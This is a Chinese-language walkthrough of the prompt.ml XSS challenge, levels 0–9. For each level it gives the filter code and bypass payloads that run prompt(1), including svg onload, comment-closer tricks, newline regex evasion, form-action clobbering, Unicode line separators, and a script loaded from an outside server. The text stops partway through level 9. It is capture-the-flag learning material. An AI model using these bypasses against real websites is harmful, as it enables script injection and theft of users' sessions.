prompt.ml xss挑战平台
规则是成功执行prompt(1)
即可成功
0
代码:1
2
3
4
5function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
没有任何过滤,闭合括号就行
payload1:1
1"><script>prompt(1)</script>
payload2:1
"><svg/onload=prompt(1)>
关于svg标签的问题,参考文章,学习了新姿势
1
代码:1
2
3
4
5
6
7
8function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
这里过滤了 <>
号里的内容
过滤方法就是用//
注释,这样的话也是可以成功的
payload:1
<svg/onload=prompt(1)//
2
代码:1
2
3
4
5
6
7function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
可以看出来这里是过滤了(
,同样的,在svg
标签里的script
,(
会被解析成(
,
相同的道理还有:1
(、&lpar
payload:1
<svg><script>prompt(1)</script></svg>
网上还有一种payload,调用的eval:1
<script>eval.call`${'prompt\x281)'}`</script>
3
代码:1
2
3
4
5
6
7function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
当->
连在一起的时候会被替换成_
,需要做的是将前面的<!--
闭合,
绕过的方法很简单--!>
,这样也是可以闭合的
payload:1
--!><script>prompt(1)</script>
网上的另一种payload:1
--!><svg/onload=prompt(1)
4
代码1
2
3
4
5
6
7
8
9
10
11function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
这里好像是涉及到了同源策略,prompt.ml
才能访问,
这里绕过的是URL黑魔法
,举个例子:
http://cherry@qq.com
这句话的意思是用cherry这个用户名去登录qq.com,所以代码里的if
就能绕过了
payload:1
<script src="http://prompt.ml%2f服务器IP/hack.js"></script>
5
代码1
2
3
4
5
6
7function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
这里是过滤了>
,然后on
和=
之间有字符的,focus
替换成了_
,
这里绕过的方式就是回车,比如:1
2alert('
cherry');
这样也是可以执行的,并且这样可以绕过正则表达式;
payload:1
2 " src=1 type=image onerror
=prompt(1) "
6
代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
这里代码较长,经过分析和测试,知道了是
http://httpbin.org/post#{"name":"Matt"}
这样的形式,http://httpbin.org/post
是表单中的action
,name
和Matt
分别是表单的name
、value
这里经常用的方法是直接用JavaScript的伪协议:
javascript:prompt(1)
但是题目也做了防护,1
2
3
4if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.")
如果直接用的话会出forbidden,这里绕过的方法利用了Javascirpt中表单DOM操作时,会先将form
中的name属性作为action的输入框,
如果没有的话,再选择action属性进行输入。可以用下列代码实例,如:1
2
3
4
5
6<body>
<form action="javascript:prompt(1)" method="post"><input name="action" value=1></input></form>
<script>
alert(document.forms[0].action);
</script>
</body>
再将代码换成1
2
3
4
5
6<body>
<form action="javascript:prompt(1)" method="post"><input name="1" value=1></input></form>
<script>
alert(document.forms[0].action);
</script>
</body>
这样的效果是:

payload:1
javascript:prompt(1)#{"action":"1"}
7
代码1
2
3
4
5
6
7
8function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
这关限制是做的长度限制,并且用#
分隔后,可以输入很多行,每行限制12个字符
绕过的方法就是用JavaScript的注释符,/**/
,
payload:1
"><script>/*#*/prompt/*#*/(1)/*#*/</script>
网上的第二种用<svg>
绕过的方法,原理类似
payload:1
"><svg/a=#"onload='/*#*/prompt(1)'
8
代码1
2
3
4
5
6
7
8
9
10function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
先看过滤,换行干掉了,< "
也干掉了,没啥思路,找了网上的wp后知道了用unicode绕过
U+2028是行分隔符
U+2029是段落分隔符
payload:1
2'\u2028prompt(1)\u2028-->'
(放入控制台执行之后将得到的输入)
9
代码1
2
3
4
5
6
7
8
9function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
函数先将<*
格式的全都变成了<_*
,然后还将字母全部转为大写形式